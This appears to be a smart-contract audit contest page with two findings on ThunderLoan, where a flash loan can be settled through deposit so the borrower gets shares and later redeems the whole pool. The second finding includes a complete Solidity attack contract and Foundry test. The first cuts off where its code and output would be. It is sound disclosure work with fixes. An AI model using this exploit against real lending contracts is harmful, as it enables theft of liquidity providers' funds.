ThunderLoan::flashloan settles on a raw balance check, which deposit satisfies while also minting the borrower a claim on the repaid fundsA flash loan is supposed to be returned. flashloan decides whether that happened by comparing the AssetToken's underlying balance before and after the callback. repay is the intended way to get tokens back in.
deposit puts underlying into the very same AssetToken, so it satisfies the same balance check — but it additionally mints AssetToken shares to the caller. A borrower who settles with deposit therefore returns the principal and keeps a redeemable claim on it. Once the flash loan has closed they call redeem and take the money back out. The loan is never really repaid; the pool paid the borrower.
The check measures where the tokens are, never who is owed them. deposit moves tokens to the right place while creating an obligation in the opposite direction:
deposit is not blocked during an open loan. s_currentlyFlashLoaning is set at :198 but is only ever read by repay (:220) — the flag exists precisely because the protocol wanted to control how funds come back, yet it is enforced only on the one path the attacker does not need. There is no reentrancy guard anywhere in the contract.
Because :184 only requires amount <= startingBalance, the borrowed amount may be the entire pool, so a single transaction takes everything.
Likelihood:
Permissionless and unconditional. Anyone can deploy a receiver contract; the only capital required is enough to cover the fee — 0.3% of the borrowed value, which is 3 tokens on a 1,000-token pool. The PoC seeds the attacker with 5 tokens for that reason and no other.
It is a one-line change to the standard receiver: the project's own test/mocks/MockFlashLoanReceiver.sol calls repay(token, amount + fee) inside executeOperation; the exploit calls deposit(token, amount + fee) on the same line.
Nothing in the test suite would have caught it: test/fuzz/Invariant.t.sol names the exact property this breaks — "2. The protocol should never lose liquidity provider deposits, it should always go up" — but the file is an empty contract Invariant { } and the invariants were left as comments.
Impact:
Direct and total theft of liquidity-provider principal. In the measured run the attacker starts with 5 tokens, ends with 1,005, and the pool is left holding 1 wei. The honest liquidity provider's book claim reads 1,007.52 against that 1 wei.
One transaction is sufficient — there is no need to repeat or accumulate. The attacker's cost is a single flash-loan fee, so the ratio of stolen funds to capital risked is roughly 200:1 at the protocol's own 0.3% rate.
The pool cannot recover. Nothing in either implementation can restore the AssetToken's balance or correct the share accounting afterwards.
The receiver is the project's own mock with repay replaced by deposit. The attacker borrows the whole pool, and after the loan closes redeems the shares they were minted.
One detail worth stating up front because it will otherwise look like the exploit fails: redeem is uncapped and reverts if you ask for more than the AssetToken currently holds. After draining, the attacker's own inflated claim exceeds what is left, so the exploit redeems min(myShares, poolBalance * 1e18 / rate). A naive "redeem all my shares" reverts.
Save as test/PoC_H01.t.sol and run forge test --mt test_H01 -vv:
Output:
The flashloan call returns successfully in both cases — the protocol is satisfied that it was paid back. It was not: the balance came from its own liquidity, and the attacker held the receipt.
The second run matters for a reason beyond the upgrade. On a fresh ThunderLoanUpgraded the exchange rate starts at exactly 1e18, which rules out any contribution from the deposit/updateExchangeRate defect I am reporting separately: the attacker still walks off with the entire pool, and the numbers are cleaner (1,005.000 exactly, pool at zero). Deleting ThunderLoan.sol:153-154 does not fix this finding; it needs its own patch.
Stop settling on a raw balance snapshot and refuse deposits while a loan is open. Both parts are needed: the flag alone can be side-stepped for a token that has no loan running, and the accounting alone still lets a borrower mint shares.
and settle the loan against tokens that arrived through repay, not against whatever happens to be in the contract. The new mapping must be appended after the existing state variables so the upgrade path keeps every current slot where it is:
A nonReentrant modifier on deposit, redeem and flashloan is worth adding on top — the contract currently has no reentrancy protection at all, and flashloan hands control to an arbitrary address at :201 after moving funds out.
## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.